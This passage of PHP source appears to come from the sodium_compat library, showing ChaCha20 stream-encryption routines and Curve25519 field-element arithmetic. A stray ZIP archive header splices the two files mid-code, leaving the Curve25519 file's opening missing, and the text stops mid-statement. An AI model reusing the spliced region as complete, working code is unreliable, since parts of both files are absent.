$b->xorInt32($c)->rotateLeft(7); return array($a, $b, $c, $d); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx * @param string $message * * @return string * @throws SodiumException * @throws TypeError */ public static function encryptBytes( ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx, $message = '' ) { $bytes = self::strlen($message); /** @var ParagonIE_Sodium_Core32_Int32 $x0 */ /** @var ParagonIE_Sodium_Core32_Int32 $x1 */ /** @var ParagonIE_Sodium_Core32_Int32 $x2 */ /** @var ParagonIE_Sodium_Core32_Int32 $x3 */ /** @var ParagonIE_Sodium_Core32_Int32 $x4 */ /** @var ParagonIE_Sodium_Core32_Int32 $x5 */ /** @var ParagonIE_Sodium_Core32_Int32 $x6 */ /** @var ParagonIE_Sodium_Core32_Int32 $x7 */ /** @var ParagonIE_Sodium_Core32_Int32 $x8 */ /** @var ParagonIE_Sodium_Core32_Int32 $x9 */ /** @var ParagonIE_Sodium_Core32_Int32 $x10 */ /** @var ParagonIE_Sodium_Core32_Int32 $x11 */ /** @var ParagonIE_Sodium_Core32_Int32 $x12 */ /** @var ParagonIE_Sodium_Core32_Int32 $x13 */ /** @var ParagonIE_Sodium_Core32_Int32 $x14 */ /** @var ParagonIE_Sodium_Core32_Int32 $x15 */ /* j0 = ctx->input[0]; j1 = ctx->input[1]; j2 = ctx->input[2]; j3 = ctx->input[3]; j4 = ctx->input[4]; j5 = ctx->input[5]; j6 = ctx->input[6]; j7 = ctx->input[7]; j8 = ctx->input[8]; j9 = ctx->input[9]; j10 = ctx->input[10]; j11 = ctx->input[11]; j12 = ctx->input[12]; j13 = ctx->input[13]; j14 = ctx->input[14]; j15 = ctx->input[15]; */ /** @var ParagonIE_Sodium_Core32_Int32 $j0 */ $j0 = $ctx[0]; /** @var ParagonIE_Sodium_Core32_Int32 $j1 */ $j1 = $ctx[1]; /** @var ParagonIE_Sodium_Core32_Int32 $j2 */ $j2 = $ctx[2]; /** @var ParagonIE_Sodium_Core32_Int32 $j3 */ $j3 = $ctx[3]; /** @var ParagonIE_Sodium_Core32_Int32 $j4 */ $j4 = $ctx[4]; /** @var ParagonIE_Sodium_Core32_Int32 $j5 */ $j5 = $ctx[5]; /** @var ParagonIE_Sodium_Core32_Int32 $j6 */ $j6 = $ctx[6]; /** @var ParagonIE_Sodium_Core32_Int32 $j7 */ $j7 = $ctx[7]; /** @var ParagonIE_Sodium_Core32_Int32 $j8 */ $j8 = $ctx[8]; /** @var ParagonIE_Sodium_Core32_Int32 $j9 */ $j9 = $ctx[9]; /** @var ParagonIE_Sodium_Core32_Int32 $j10 */ $j10 = $ctx[10]; /** @var ParagonIE_Sodium_Core32_Int32 $j11 */ $j11 = $ctx[11]; /** @var ParagonIE_Sodium_Core32_Int32 $j12 */ $j12 = $ctx[12]; /** @var ParagonIE_Sodium_Core32_Int32 $j13 */ $j13 = $ctx[13]; /** @var ParagonIE_Sodium_Core32_Int32 $j14 */ $j14 = $ctx[14]; /** @var ParagonIE_Sodium_Core32_Int32 $j15 */ $j15 = $ctx[15]; $c = ''; for (;;) { if ($bytes < 64) { $message .= str_repeat("\x00", 64 - $bytes); } $x0 = clone $j0; $x1 = clone $j1; $x2 = clone $j2; $x3 = clone $j3; $x4 = clone $j4; $x5 = clone $j5; $x6 = clone $j6; $x7 = clone $j7; $x8 = clone $j8; $x9 = clone $j9; $x10 = clone $j10; $x11 = clone $j11; $x12 = clone $j12; $x13 = clone $j13; $x14 = clone $j14; $x15 = clone $j15; # for (i = 20; i > 0; i -= 2) { for ($i = 20; $i > 0; $i -= 2) { # QUARTERROUND( x0, x4, x8, x12) list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12); # QUARTERROUND( x1, x5, x9, x13) list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13); # QUARTERROUND( x2, x6, x10, x14) list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14); # QUARTERROUND( x3, x7, x11, x15) list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15); # QUARTERROUND( x0, x5, x10, x15) list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15); # QUARTERROUND( x1, x6, x11, x12) list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12); # QUARTERROUND( x2, x7, x8, x13) list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13); # QUARTERROUND( x3, x4, x9, x14) list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14); } /* x0 = PLUS(x0, j0); x1 = PLUS(x1, j1); x2 = PLUS(x2, j2); x3 = PLUS(x3, j3); x4 = PLUS(x4, j4); x5 = PLUS(x5, j5); x6 = PLUS(x6, j6); x7 = PLUS(x7, j7); x8 = PLUS(x8, j8); x9 = PLUS(x9, j9); x10 = PLUS(x10, j10); x11 = PLUS(x11, j11); x12 = PLUS(x12, j12); x13 = PLUS(x13, j13); x14 = PLUS(x14, j14); x15 = PLUS(x15, j15); */ $x0 = $x0->addInt32($j0); $x1 = $x1->addInt32($j1); $x2 = $x2->addInt32($j2); $x3 = $x3->addInt32($j3); $x4 = $x4->addInt32($j4); $x5 = $x5->addInt32($j5); $x6 = $x6->addInt32($j6); $x7 = $x7->addInt32($j7); $x8 = $x8->addInt32($j8); $x9 = $x9->addInt32($j9); $x10 = $x10->addInt32($j10); $x11 = $x11->addInt32($j11); $x12 = $x12->addInt32($j12); $x13 = $x13->addInt32($j13); $x14 = $x14->addInt32($j14); $x15 = $x15->addInt32($j15); /* x0 = XOR(x0, LOAD32_LE(m + 0)); x1 = XOR(x1, LOAD32_LE(m + 4)); x2 = XOR(x2, LOAD32_LE(m + 8)); x3 = XOR(x3, LOAD32_LE(m + 12)); x4 = XOR(x4, LOAD32_LE(m + 16)); x5 = XOR(x5, LOAD32_LE(m + 20)); x6 = XOR(x6, LOAD32_LE(m + 24)); x7 = XOR(x7, LOAD32_LE(m + 28)); x8 = XOR(x8, LOAD32_LE(m + 32)); x9 = XOR(x9, LOAD32_LE(m + 36)); x10 = XOR(x10, LOAD32_LE(m + 40)); x11 = XOR(x11, LOAD32_LE(m + 44)); x12 = XOR(x12, LOAD32_LE(m + 48)); x13 = XOR(x13, LOAD32_LE(m + 52)); x14 = XOR(x14, LOAD32_LE(m + 56)); x15 = XOR(x15, LOAD32_LE(m + 60)); */ $x0 = $x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))); $x1 = $x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 4, 4))); $x2 = $x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 8, 4))); $x3 = $x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))); $x4 = $x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 16, 4))); $x5 = $x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 20, 4))); $x6 = $x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 24, 4))); $x7 = $x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 28, 4))); $x8 = $x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 32, 4))); $x9 = $x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 36, 4))); $x10 = $x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 40, 4))); $x11 = $x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 44, 4))); $x12 = $x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 48, 4))); $x13 = $x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 52, 4))); $x14 = $x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 56, 4))); $x15 = $x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 60, 4))); /* j12 = PLUSONE(j12); if (!j12) { j13 = PLUSONE(j13); } */ /** @var ParagonIE_Sodium_Core32_Int32 $j12 */ $j12 = $j12->addInt(1); if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0) { $j13 = $j13->addInt(1); } /* STORE32_LE(c + 0, x0); STORE32_LE(c + 4, x1); STORE32_LE(c + 8, x2); STORE32_LE(c + 12, x3); STORE32_LE(c + 16, x4); STORE32_LE(c + 20, x5); STORE32_LE(c + 24, x6); STORE32_LE(c + 28, x7); STORE32_LE(c + 32, x8); STORE32_LE(c + 36, x9); STORE32_LE(c + 40, x10); STORE32_LE(c + 44, x11); STORE32_LE(c + 48, x12); STORE32_LE(c + 52, x13); STORE32_LE(c + 56, x14); STORE32_LE(c + 60, x15); */ $block = $x0->toReverseString() . $x1->toReverseString() . $x2->toReverseString() . $x3->toReverseString() . $x4->toReverseString() . $x5->toReverseString() . $x6->toReverseString() . $x7->toReverseString() . $x8->toReverseString() . $x9->toReverseString() . $x10->toReverseString() . $x11->toReverseString() . $x12->toReverseString() . $x13->toReverseString() . $x14->toReverseString() . $x15->toReverseString(); /* Partial block */ if ($bytes < 64) { $c .= self::substr($block, 0, $bytes); break; } /* Full block */ $c .= $block; $bytes -= 64; if ($bytes <= 0) { break; } $message = self::substr($message, 64); } /* end for(;;) loop */ $ctx[12] = $j12; $ctx[13] = $j13; return $c; } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function stream($len = 64, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStream($len, $nonce = '', $key = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce), str_repeat("\x00", $len) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce, $ic), $message ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @param string $ic * @return string * @throws SodiumException * @throws TypeError */ public static function streamXorIc($message, $nonce = '', $key = '', $ic = '') { return self::encryptBytes( new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic), $message ); } } PK-L[LTnnsrc/Core32/Curve25519.phpnu[addInt32($g[$i]); } /** @var array $arr */ return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($arr); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_cmov( ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g, $b = 0 ) { /** @var array $h */ $h = array(); for ($i = 0; $i < 10; ++$i) { if (!($f[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected Int32'); } if (!($g[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected Int32'); } $h[$i] = $f[$i]->xorInt32( $f[$i]->xorInt32($g[$i])->mask($b) ); } /** @var array $h */ return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h); } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $h = clone $f; return $h; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws RangeException * @throws SodiumException * @throws TypeError * @psalm-suppress MixedMethodCall */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } /** @var ParagonIE_Sodium_Core32_Int32 $h0 */ $h0 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_4($s) ); /** @var ParagonIE_Sodium_Core32_Int32 $h1 */ $h1 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 4, 3)) << 6 ); /** @var ParagonIE_Sodium_Core32_Int32 $h2 */ $h2 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 7, 3)) << 5 ); /** @var ParagonIE_Sodium_Core32_Int32 $h3 */ $h3 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 10, 3)) << 3 ); /** @var ParagonIE_Sodium_Core32_Int32 $h4 */ $h4 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 13, 3)) << 2 ); /** @var ParagonIE_Sodium_Core32_Int32 $h5 */ $h5 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_4(self::substr($s, 16, 4)) ); /** @var ParagonIE_Sodium_Core32_Int32 $h6 */ $h6 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 20, 3)) << 7 ); /** @var ParagonIE_Sodium_Core32_Int32 $h7 */ $h7 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 23, 3)) << 5 ); /** @var ParagonIE_Sodium_Core32_Int32 $h8 */ $h8 = ParagonIE_Sodium_Core32_Int32::fromInt( self::load_3(self::substr($s, 26, 3)) << 4 ); /** @var ParagonIE_Sodium_Core32_Int32 $h9 */ $h9 = ParagonIE_Sodium_Core32_Int32::fromInt( (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2 ); $carry9 = $h9->addInt(1 << 24)->shiftRight(25); $h0 = $h0->addInt32($carry9->mulInt(19, 5)); $h9 = $h9->subInt32($carry9->shiftLeft(25)); $carry1 = $h1->addInt(1 << 24)->shiftRight(25); $h2 = $h2->addInt32($carry1); $h1 = $h1->subInt32($carry1->shiftLeft(25)); $carry3 = $h3->addInt(1 << 24)->shiftRight(25); $h4 = $h4->addInt32($carry3); $h3 = $h3->subInt32($carry3->shiftLeft(25)); $carry5 = $h5->addInt(1 << 24)->shiftRight(25); $h6 = $h6->addInt32($carry5); $h5 = $h5->subInt32($carry5->shiftLeft(25)); $carry7 = $h7->addInt(1 << 24)->shiftRight(25); $h8 = $h8->addInt32($carry7); $h7 = $h7->subInt32($carry7->shiftLeft(25)); $carry0 = $h0->addInt(1 << 25)->shiftRight(26); $h1 = $h1->addInt32($carry0); $h0 = $h0->subInt32($carry0->shiftLeft(26)); $carry2 = $h2->addInt(1 << 25)->shiftRight(26); $h3 = $h3->addInt32($carry2); $h2 = $h2->subInt32($carry2->shiftLeft(26)); $carry4 = $h4->addInt(1 << 25)->shiftRight(26); $h5 = $h5->addInt32($carry4); $h4 = $h4->subInt32($carry4->shiftLeft(26)); $carry6 = $h6->addInt(1 << 25)->shiftRight(26); $h7 = $h7->addInt32($carry6); $h6 = $h6->subInt32($carry6->shiftLeft(26)); $carry8 = $h8->addInt(1 << 25)->shiftRight(26); $h9 = $h9->addInt32($carry8); $h8 = $h8->subInt32($carry8->shiftLeft(26)); return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray( array($h0, $h1, $h2,$h3, $h4, $h5, $h6, $h7, $h8, $h9) ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $h * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_tobytes(ParagonIE_Sodium_Core32_Curve25519_Fe $h) { /** * @var ParagonIE_Sodium_Core32_Int64[] $f * @var ParagonIE_Sodium_Core32_Int64 $q */ $f = array(); for ($i = 0; $i < 10; ++$i) { $f[$i] = $h[$i]->toInt64(); } $q = $f[9]->mulInt(19, 5)->addInt(1 << 14)->shiftRight(25) ->addInt64($f[0])->shiftRight(26) ->addInt64($f[1])->shiftRight(25) ->addInt64($f[2])->shiftRight(26) ->addInt64($f[3])->shiftRight(25) ->addInt64($f[4])->shiftRight(26) ->addInt64($f[5])->shiftRight(25) ->addInt64($f[6])->shiftRight(26) ->addInt64($f[7])->shiftRight(25) ->addInt64($f[8])->shiftRight(26) ->addInt64($f[9])->shiftRight(25); $f[0] = $f[0]->addInt64($q->mulInt(19, 5)); $carry0 = $f[0]->shiftRight(26); $f[1] = $f[1]->addInt64($carry0); $f[0] = $f[0]->subInt64($carry0->shiftLeft(26)); $carry1 = $f[1]->shiftRight(25); $f[2] = $f[2]->addInt64($carry1); $f[1] = $f[1]->subInt64($carry1->shiftLeft(25)); $carry2 = $f[2]->shiftRight(26); $f[3] = $f[3]->addInt64($carry2); $f[2] = $f[2]->subInt64($carry2->shiftLeft(26)); $carry3 = $f[3]->shiftRight(25); $f[4] = $f[4]->addInt64($carry3); $f[3] = $f[3]->subInt64($carry3->shiftLeft(25)); $carry4 = $f[4]->shiftRight(26); $f[5] = $f[5]->addInt64($carry4); $f[4] = $f[4]->subInt64($carry4->shiftLeft(26)); $carry5 = $f[5]->shiftRight(25); $f[6] = $f[6]->addInt64($carry5); $f[5] = $f[5]->subInt64($carry5->shiftLeft(25)); $carry6 = $f[6]->shiftRight(26); $f[7] = $f[7]->addInt64($carry6); $f[6] = $f[6]->subInt64($carry6->shiftLeft(26)); $carry7 = $f[7]->shiftRight(25); $f[8] = $f[8]->addInt64($carry7); $f[7] = $f[7]->subInt64($carry7->shiftLeft(25)); $carry8 = $f[8]->shiftRight(26); $f[9] = $f[9]->addInt64($carry8); $f[8] = $f[8]->subInt64($carry8->shiftLeft(26)); $carry9 = $f[9]->shiftRight(25); $f[9] = $f[9]->subInt64($carry9->shiftLeft(25)); $h0 = $f[0]->toInt32()->toInt(); $h1 = $f[1]->toInt32()->toInt(); $h2 = $f[2]->toInt32()->toInt(); $h3 = $f[3]->toInt32()->toInt(); $h4 = $f[4]->toInt32()->toInt(); $h5 = $f[5]->toInt32()->toInt(); $h6 = $f[6]->toInt32()->toInt(); $h7 = $f[7]->toInt32()->toInt(); $h8 = $f[8]->toInt32()->toInt(); $h9 = $f[9]->toInt32()->toInt(); /** * @var array */ $s = array( (int) (($h0 >> 0) & 0xff), (int) (($h0 >> 8) & 0xff), (int) (($h0 >> 16) & 0xff), (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff), (int) (($h1 >> 6) & 0xff), (int) (($h1 >> 14) & 0xff), (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff), (int) (($h2 >> 5) & 0xff), (int) (($h2 >> 13) & 0xff), (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff), (int) (($h3 >> 3) & 0xff), (int) (($h3 >> 11) & 0xff), (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff), (int) (($h4 >> 2) & 0xff), (int) (($h4 >> 10) & 0xff), (int) (($h4 >> 18) & 0xff), (int) (($h5 >> 0) & 0xff), (int) (($h5 >> 8) & 0xff), (int) (($h5 >> 16) & 0xff), (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff), (int) (($h6 >> 7) & 0xff), (int) (($h6 >> 15) & 0xff), (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff), (int) (($h7 >> 5) & 0xff), (int) (($h7 >> 13) & 0xff), (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff), (int) (($h8 >> 4) & 0xff), (int) (($h8 >> 12) & 0xff), (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff), (int) (($h9 >> 2) & 0xff), (int) (($h9 >> 10) & 0xff), (int) (($h9 >> 18) & 0xff) ); return self::intArrayToString($s); } /** * Is a field element negative? (1 = yes, 0 = no. Used in calculations.) * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return int * @throws SodiumException * @throws TypeError */ public static function fe_isnegative(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { $str = self::fe_tobytes($f); return (int) (self::chrToInt($str[0]) & 1); } /** * Returns 0 if this field element results in all NUL bytes. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return bool * @throws SodiumException * @throws TypeError */ public static function fe_isnonzero(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { static $zero; if ($zero === null) { $zero = str_repeat("\x00", 32); } $str = self::fe_tobytes($f); /** @var string $zero */ return !self::verify_32($str, $zero); } /** * Multiply two field elements * * h = f * g * * @internal You should not use this directly from another application * * @security Is multiplication a source of timing leaks? If so, can we do * anything to prevent that from happening? * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function fe_mul( ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g ) { /** * @var ParagonIE_Sodium_Core32_Int32[] $f * @var ParagonIE_Sodium_Core32_Int32[] $g * @var ParagonIE_Sodium_Core32_Int64 $f0 * @var ParagonIE_Sodium_Core32_Int64 $f1 * @var ParagonIE_Sodium_Core32_Int64 $f2 * @var ParagonIE_Sodium_Core32_Int64 $f3 * @var ParagonIE_Sodium_Core32_Int64 $f4 * @var ParagonIE_Sodium_Core32_Int64 $f5 * @var ParagonIE_Sodium_Core32_Int64 $f6 * @var ParagonIE_Sodium_Core32_Int64 $f7 * @var ParagonIE_Sodium_Core32_Int64 $f8 * @var ParagonIE_Sodium_Core32_Int64 $f9 * @var ParagonIE_Sodium_Core32_Int64 $g0 * @var ParagonIE_Sodium_Core32_Int64 $g1 * @var ParagonIE_Sodium_Core32_Int64 $g2 * @var ParagonIE_Sodium_Core32_Int64 $g3 * @var ParagonIE_Sodium_Core32_Int64 $g4 * @var ParagonIE_Sodium_Core32_Int64 $g5 * @var ParagonIE_Sodium_Core32_Int64 $g6 * @var ParagonIE_Sodium_Core32_Int64 $g7 * @var ParagonIE_Sodium_Core32_Int64 $g8 * @var ParagonIE_Sodium_Core32_Int64 $g9 */ $f0 = $f[0]->toInt64(); $f1 = $f[1]->toInt64(); $f2 = $f[2]->toInt64(); $f3 = $f[3]->toInt64(); $f4 = $f[4]->toInt64(); $f5 = $f[5]->toInt64(); $f6 = $f[6]->toInt64(); $f7 = $f[7]->toInt64(); $f8 = $f[8]->toInt64(); $f9 = $f[9]->toInt64(); $g0 = $g[0]->toInt64(); $g1 = $g[1]->toInt64(); $g2 = $g[2]->toInt64(); $g3 = $g[3]->toInt64(); $g4 = $g[4]->toInt64(); $g5 = $g[5]->toInt64(); $g6 = $g[6]->toInt64(); $g7 = $g[7]->toInt64(); $g8 = $g[8]->toInt64(); $g9 = $g[9]->toInt64(); $g1_19 = $g1->mulInt(19, 5); /* 2^4 <= 19 <= 2^5, but we only want 5 bits */ $g2_19 = $g2->mulInt(19, 5); $g3_19 = $g3->mulInt(19, 5); $g4_19 = $g4->mulInt(19, 5); $g5_19 = $g5->mulInt(19, 5); $g6_19 = $g6->mulInt(19, 5); $g7_19 = $g7->mulInt(19, 5); $g8_19 = $g8->mulInt(19, 5); $g9_19 = $g9->mulInt(19, 5); $f1_2 = $f1->shiftLeft(1); $f3_2 = $f3->shiftLeft(1); $f5_2 = $f5->shiftLeft(1); $f7_2 = $f7->shiftLeft(1); $f9_2 = $f9->shiftLeft(1); $f0g0 = $f0->mulInt64($g0, 27); $f0g1 = $f0->mulInt64($g1, 27); $f0g2 = $f0->mulInt64($g2, 27); $f0g3 = $f0->mulInt64($g3, 27); $f0g4 = $f0->mulInt64($g4, 27); $f0g5 = $f0->mulInt64($g5, 27); $f0g6 = $f0->mulInt64($g6, 27); $f0g7 = $f0->mulInt64($g7, 27); $f0g8 = $f0->mulInt64($g8, 27); $f0g9 = $f0->mulInt64($g9, 27); $f1g0 = $f1->mulInt64($g0, 27); $f1g1_2 = $f1_2->mulInt64($g1, 27); $f1g2 = $f1->mulInt64($g2, 27); $f1g3_2 = $f1_2->mulInt64($g3, 27); $f1g4 = $f1->mulInt64($g4, 30); $f1g5_2 = $f1_2->mulInt64($g5, 30); $f1g6 = $f1->mulInt64($g6, 30); $f1g7_2 = $f1_2->mulInt64($g7, 30); $f1g8 = $f1->mulInt64($g8, 30); $f1g9_38 = $g9_19->mulInt64($f1_2, 30); $f2g0 = $f2->mulInt64($g0, 30); $f2g1 = $f2->mulInt64($g1, 29); $f2g2 = $f2->mulInt64($g2, 30); $f2g3 = $f2->mulInt64($g3, 29); $f2g4 = $f2->mulInt64($g4, 30); $f2g5 = $f2->mulInt64($g5, 29); $f2g6 = $f2->mulInt64($g6, 30); $f2g7 = $f2->mulInt64($g7, 29); $f2g8_19 = $g8_19->mulInt64($f2, 30); $f2g9_19 = $g9_19->mulInt64($f2, 30); $f3g0 = $f3->mulInt64($g0, 30); $f3g1_2 = $f3_2->mulInt64($g1, 30); $f3g2 = $f3->mulInt64($g2, 30); $f3g3_2 = $f3_2->mulInt64($g3, 30); $f3g4 = $f3->mulInt64($g4, 30); $f3g5_2 = $f3_2->mulInt64($g5, 30); $f3g6 = $f3->mulInt64($g6, 30); $f3g7_38 = $g7_19->mulInt64($f3_2, 30); $f3g8_19 = $g8_19->mulInt64($f3, 30); $f3g9_38 = $g9_19->mulInt64($f3_2, 30); $f4g0 = $f4->mulInt64($g0, 30); $f4g1 = $f4->mulInt64($g1, 30); $f4g2 = $f4->mulInt64($g2, 30); $f4g3 = $f4->mulInt64($g3, 30); $f4g4 = $f4->mulInt64($g4, 30); $f4g5 = $f4->mulInt64($g5, 30); $f4g6_19 = $g6_19->mulInt64($f4, 30); $f4g7_19 = $g7_19->mulInt64($f4, 30); $f4g8_19 = $g8_19->mulInt64($f4, 30); $f4g9_19 = $g9_19->mulInt64($f4, 30); $f5g0 = $f5->mulInt64($g0, 30); $f5g1_2 = $f5_2->mulInt64($g1, 30); $f5g2 = $f5->mulInt64($g2, 30); $f5g3_2 = $f5_2->mulInt64($g3, 30); $f5g4 = $f5->mulInt64($g4, 30); $f5g5_38 = $g5_19->mulInt64($f5_2, 30); $f5g6_19 = $g6_19->mulInt64($f5, 30); $f5g7_38 = $g7_19->mulInt64($f5_2, 30); $f5g8_19 = $g8_19->mulInt64($f5, 30); $f5g9_38 = $g9_19->mulInt64($f5_2, 30); $f6g0 = $f6->mulInt64($g0, 30); $f6g1 = $f6->mulInt64($g1, 30); $f6g2 = $f6->mulInt64($g2, 30); $f6g3 = $f6->mulInt64($g3, 30); $f6g4_19 = $g4_19->mulInt64($f6, 30); $f6g5_19 = $g5_19->mulInt64($f6, 30); $f6g6_19 = $g6_19->mulInt64($f6, 30); $f6g7_19 = $g7_19->mulInt64($f6, 30); $f6g8_19 = $g8_19->mulInt64($f6, 30); $f6g9_19 = $g9_19->mulInt64($f6, 30); $f7g0 = $f7->mulInt64($g0, 30); $f7g1_2 = $g1->mulInt64($f7_2, 30); $f7g2 = $f7->mulInt64($g2, 30); $f7g3_38 = $g3_19->mulInt64($f7_2, 30); $f7g4_19 = $g4_19->mulInt64($f7, 30); $f7g5_38 = $g5_19->mulInt64($f7_2, 30); $f7g6_19 = $g6_19->mulInt64($f7, 30); $f7g7_38 = $g7_19->mulInt64($f7_2, 30); $f7g8_19 = $g8_19->mulInt64($f7, 30); $f7g9_38 = $g9_19->mulInt64($f7_2, 30); $f8g0 = $f8->mulInt64($g0, 30); $f8g1 = $f8->mulInt64($g1, 29); $f8g2_19 = $g2_19->mulInt64($f8, 30); $f8g3_19 = $g3_19->mulInt64($f8, 30); $f8g4_19 = $g4_19->mulInt64($f8, 30); $f8g5_19 = $g5_19->mulInt64($f8, 30); $f8g6_19 = $g6_19->mulInt64($f8, 30); $f8g7_19 = $g7_19->mulInt64($f8, 30); $f8g8_19 = $g8_19->mulInt64($f8, 30); $f8g9_19 = $g9_19->mulInt64($f8, 30); $f9g0 = $f9->mulInt64($g0, 30); $f9g1_38 = $g1_19->mulInt64($f9_2, 30); $f9g2_19 = $g2_19->mulInt64($f9, 30); $f9g3_38 = $g3_19->mulInt64($f9_2, 30); $f9g4_19 = $g4_19->mulInt64($f9, 30); $f9g5_38 = $g5_19->mulInt64($f9_2, 30); $f9g6_19 = $g6_19->mulInt64($f9, 30); $f9g7_38 = $g7_19->mulInt64($f9_2, 30); $f9g8_19 = $g8_19->mulInt64($f9, 30); $f9g9_38 = $g9_19->mulInt64($f9_2, 30); // $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38; $h0 = $f0g0->addInt64($f1g9_38)->addInt64($f2g8_19)->addInt64($f3g7_38) ->addInt64($f4g6_19)->addInt64($f5g5_38)->addInt64($f6g4_19) ->addInt64($f7g3_38)->addInt64($f8g2_19)->addInt64($f9g1_38); // $h1 = $f0g1 + $f1g0 + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19; $h1 = 